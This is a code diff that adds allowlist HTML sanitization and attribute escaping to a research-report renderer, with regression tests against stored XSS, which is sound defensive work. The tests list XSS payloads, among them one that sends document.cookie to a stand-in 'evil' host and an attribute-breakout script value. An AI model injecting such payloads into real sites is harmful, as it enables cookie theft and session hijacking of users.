diff --git a/requirements.txt b/requirements.txt
index e4630d1..2c40729 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -21,6 +21,10 @@ youtube-transcript-api
 # Markdown rendering for research reports (src/visual_report.py).
 # Imported at module-top so it's a hard core dep, not optional.
 markdown
+# HTML sanitizer for rendered research reports (src/visual_report.py). Report
+# content is untrusted (LLM output over crawled pages) and report pages run
+# under a relaxed CSP, so the rendered HTML is allowlist-sanitized.
+nh3
 # Calendar .ics import/export (routes/calendar_routes.py).
 icalendar
 # Recurrence rule expansion for calendar events (routes/calendar_routes.py).
diff --git a/src/visual_report.py b/src/visual_report.py
index 70af4b2..b15c800 100644
--- a/src/visual_report.py
+++ b/src/visual_report.py
@@ -25,9 +25,27 @@ from src.research_utils import strip_thinking
 from urllib.parse import urlparse
 
 import markdown
+import nh3
 
 logger = logging.getLogger(__name__)
 
+# Tags/attributes permitted in rendered research-report HTML. Starts from nh3's
+# safe defaults (which drop <script>, inline event handlers, and javascript:
+# URLs) and adds back only the formatting the report itself emits: the
+# collapsible raw-findings block (<details>/<summary>), heading anchors for the
+# table of contents (id), codehilite classes, table alignment, and the
+# target/rel that _md_to_html puts on external links.
+_REPORT_ALLOWED_TAGS = set(nh3.ALLOWED_TAGS) | {"details", "summary"}
+_REPORT_ALLOWED_ATTRS = {k: set(v) for k, v in nh3.ALLOWED_ATTRIBUTES.items()}
+for _h in ("h1", "h2", "h3", "h4", "h5", "h6"):
+    _REPORT_ALLOWED_ATTRS.setdefault(_h, set()).add("id")
+for _t in ("span", "code", "pre", "div", "table", "td", "th"):
+    _REPORT_ALLOWED_ATTRS.setdefault(_t, set()).add("class")
+for _t in ("td", "th"):
+    _REPORT_ALLOWED_ATTRS.setdefault(_t, set()).add("align")
+_REPORT_ALLOWED_ATTRS.setdefault("a", set()).update({"href", "title", "target", "rel"})
+_REPORT_ALLOWED_ATTRS.setdefault("img", set()).update({"src", "alt", "title"})
+
 # ---------------------------------------------------------------------------
 # Helpers
 # ---------------------------------------------------------------------------
@@ -48,7 +66,14 @@ def _autolink_urls(md_text: str) -> str:
 
 
 def _md_to_html(md_text: str) -> str:
-    """Convert markdown to HTML with common extensions."""
+    """Convert markdown to HTML with common extensions.
+
+    Research-report markdown is assembled from LLM output over crawled web
+    pages (untrusted content), and report pages are served under a relaxed
+    `script-src 'unsafe-inline'` CSP. python-markdown passes raw HTML through
+    verbatim, so the rendered output is allowlist-sanitized to strip any
+    <script>/inline-event-handler/javascript: markup before it reaches the page.
+    """
     md_text = _autolink_urls(md_text)
     result = markdown.markdown(
         md_text,
@@ -64,6 +89,14 @@ def _md_to_html(md_text: str) -> str:
         r'<a target="_blank" rel="noopener noreferrer" href="\1',
         result,
     )
+    # Sanitize: report content is untrusted and the report CSP allows inline
+    # scripts, so strip active content while keeping the formatting above.
+    result = nh3.clean(
+        result,
+        tags=_REPORT_ALLOWED_TAGS,
+        attributes=_REPORT_ALLOWED_ATTRS,
+        link_rel=None,
+    )
     return result
 
 
@@ -1864,7 +1897,7 @@ def generate_visual_report(
         restore_btn_html=restore_btn_html,
         timestamp=timestamp,
         category_css=_category_css(category),
-        body_class=f"category-{category}" if category else "",
+        body_class=f"category-{html.escape(str(category))}" if category else "",
         session_id_js=json_dumps_str(session_id or ""),
         spare_images_js=_json_for_script(spare_images),
     )
diff --git a/tests/test_security_regressions.py b/tests/test_security_regressions.py
index 0792b9a..01c09a4 100644
--- a/tests/test_security_regressions.py
+++ b/tests/test_security_regressions.py
@@ -1041,3 +1041,70 @@ def test_chat_active_document_lookup_is_owner_scoped():
     assert "filter( DBDocument.id == active_doc_id, ).first()" not in flat
     assert "filter(DBDocument.id == active_doc_id).first()" not in flat
     assert "filter(DBDocument.id == _mem_id).first()" not in flat
+
+
+# ── research report HTML sanitization (visual report stored XSS) ──
+#
+# `src.visual_report._md_to_html` renders the deep-research report, whose
+# markdown is built from LLM output over crawled web pages (untrusted content).
+# python-markdown passes raw HTML through verbatim, and report pages are served
+# under a relaxed `script-src 'unsafe-inline'` CSP, so any markup surviving into
+# the report would execute in the app origin. The render must allowlist-sanitize.
+
+@pytest.mark.parametrize("payload", [
+    "<script>alert(document.domain)</script>",
+    '<img src=x onerror="fetch(\'//evil/\'+document.cookie)">',
+    "<svg onload=alert(1)>",
+    '<a href="javascript:alert(1)">x</a>',
+])
+def test_md_to_html_strips_active_content(payload):
+    from src.visual_report import _md_to_html
+
+    out = _md_to_html(f"Report body.\n\n{payload}").lower()
+
+    assert "<script" not in out
+    assert "onerror=" not in out
+    assert "onload=" not in out
+    assert "javascript:" not in out
+
+
+def test_md_to_html_preserves_normal_report_formatting():
+    from src.visual_report import _md_to_html
+
+    md = (
+        "## Findings\n\n"
+        "**bold** and a [source](https://example.com/p).\n\n"
+        "| A | B |\n|---|---|\n| 1 | 2 |\n\n"
+        "```python\ndef x():\n    return 1\n```\n\n"
+        "<details>\n<summary>Raw findings</summary>\n\ncontent\n</details>\n"
+    )
+    out = _md_to_html(md)
+
+    assert "<h2 id=" in out                          # heading + toc anchor preserved
+    assert "<table" in out and "<td" in out           # table
+    assert "<pre" in out and "<code" in out           # fenced code block
+    assert "<details" in out and "<summary" in out    # collapsible raw-findings section
+    assert 'href="https://example.com/p"' in out      # external link kept
+    assert 'rel="noopener' in out                     # ...and rel-hardened
+
+
+def test_visual_report_escapes_request_category():
+    # `category` arrives straight from the /api/research/start request body with
+    # no enum validation and lands in <body class="category-{category}"> on a
+    # report page served under `script-src 'unsafe-inline'`, so it must be escaped
+    # or it's an attribute-injection XSS independent of the markdown body.
+    from src.visual_report import generate_visual_report
+
+    html = generate_visual_report(
+        question="q",
+        report_markdown="## H\n\nbody",
+        category='"><script>alert(document.domain)</script>',
+    )
+
+    assert "<script>alert(document.domain)" not in html   # no breakout
+    assert "&lt;script&gt;" in html                        # rendered as inert text
+
+    # `category` has no type check at the request boundary, so a non-string
+    # value must coerce rather than crash the render (html.escape needs a str).
+    out = generate_visual_report(question="q", report_markdown="## H", category=12345)
+    assert "category-12345" in out